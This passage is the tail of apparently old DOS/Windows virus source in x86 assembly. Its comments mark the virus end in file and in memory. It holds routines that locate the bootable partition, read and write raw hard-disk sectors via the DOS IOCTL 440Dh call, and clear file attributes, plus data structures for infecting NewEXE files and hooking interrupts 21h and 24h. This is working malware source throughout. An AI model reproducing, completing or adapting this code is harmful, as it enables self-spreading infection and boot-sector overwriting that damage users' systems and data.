                lea     di,[bp+03h]
                mov     cx,03bh
                rep     movsb
                sub     dh,dh
                inc     cx
                ret

table_check:                                    ; finds the first bootable
                mov     cl,4                    ; partition and put in
                add     bx,01beh                ; DX and CX the head,
                                                ; sector and cylinder
                                                ; (in the format as int
                                                ; 13h wants)
ptable_loop:
                dec     cl
                cmp     byte ptr ds:[bx],080h   ; is bootable?
                je      boot_found
                add     bx,010h                 ; next partition
                cmp     cl,0
                jne     ptable_loop
                stc                             ; all partition examined
                ret                             ; but no active. leave
                                                ; with carry as error
boot_found:
                mov     dx,word ptr ds:[bx]
                mov     cx,word ptr ds:[bx+2]   ; sector + cyl
                lea     bx,[offset filebuffer+bp]  ; and point on buffer
                ret

set_attributes:
                mov     ax,0143h                ; no flags
                xchg    al,ah
                int     21h
                ret

do_read:
                ; if Carry is set then this will do a WRITE on the HD
                ; if Carry isn't set then a READ will be executed

                push    dx
                push    cx
                mov     di,offset rw_struct     ; point to the structure
                pushf                           ; needed by 440dh
                add     di,bp
                popf
                mov     word ptr ds:[di+9],bx   ; store in the structure
                mov     word ptr ds:[di+11],ds  ; as needed
                mov     byte ptr ds:[di+1],dh
                mov     byte ptr ds:[di+3],ch
                mov     byte ptr ds:[di+5],cl
                mov     cl,041h                 ; select between write (41h)
                jc      do_rwop                 ; and read (61h)
                add     cl,20h
do_rwop:
                mov     ch,08h          ; 08h = disk drive
                mov     ax,440dh        ; IOCTL generic block device req
                push    bx
                mov     bl,03h          ; on C:
                mov     dx,di           ; point to structure
                int     21h
                pop     bx
                pop     cx
                pop     dx
                ret

rw_struct:                              ; read write structure
fix_byte        db      00h
head_word       dw      00h
cyl_word        dw      00h
sec_word        dw      00h
nr_word         dw      0001h           ; one sector at once. I think
where_off       dw      00h             ; that this is a bug, because
where_seg       dw      00h             ; DOS doesn't want to write/read
                                        ; more than one sectore at once :(
                                        ; or at least on all the machined
                                        ; i tested it wasn't working :(((
                                        ; so we will write/read one sector
                                        ; at once

relocitem:                              ; relocation item for NewEXEs
        dw      1
        db      3
        db      4
        dw      offset winip
old_cs  dw      0
old_ip  dw      0
relocitem_end:

; end of the virus in the file

virus_end:

winexe_data:                             ; data needed for newexe
newexe_off      dw      0                ; infection
al_shift        db      0
ne_size         dw      0
last_ne         dw      0
lseek           dw      0
lseek_add       dw      0

int21set        db      09h               ; Int 21h set flag

old_int24_off   dw      ?                 ; original int24 offset
old_int24_seg   dw      ?                 ; original int24 segment

tmpcounter      db      00h               ; counter for 4eh/4fh infection

filenameoff     dw      ?                 ; stuff for 4eh/4fh infection
filedotoff      dw      ?
filename        db      4ch     dup     (?)

lenax           dw      ?                 ; lenght of the file
lendx           dw      ?

filebuffer      db      512     dup     (?)     ; buffer for r/w operations

file_att        dw      ?                 ; file attributes

; end of the virus in memory
virus_end_mem:

end
